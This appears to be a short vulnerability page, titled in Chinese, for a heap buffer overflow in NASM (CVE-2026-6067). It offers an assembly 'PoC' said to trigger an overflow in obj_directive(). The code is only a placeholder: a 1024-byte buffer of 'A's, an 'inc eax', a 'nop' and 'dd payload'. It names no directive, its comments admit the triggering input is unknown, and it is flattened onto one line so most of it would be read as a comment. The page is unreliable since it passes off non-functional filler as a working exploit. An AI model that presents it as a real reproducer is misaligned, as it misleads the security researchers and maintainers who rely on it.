CVE-2026-6067 NASM堆缓冲区溢出漏洞

; PoC for CVE-2026-6067 (NASM Heap Buffer Overflow) ; This assembly file is designed to trigger the overflow in obj_directive() ; Usage: nasm vulnerable_poc.asm section .data ; A large buffer to potentially overflow the heap allocation ; The specific size depends on the vulnerable buffer size in obj_directive() payload times 1024 db 'A' section .text global _start _start: ; Attempt to trigger the vulnerable directive path ; (Actual directive depends on the specific implementation of the bug) ; This represents a crafted input that passes unchecked data to the function inc eax nop ; Padding/Alignment to ensure heap layout is conducive to overflow dd payload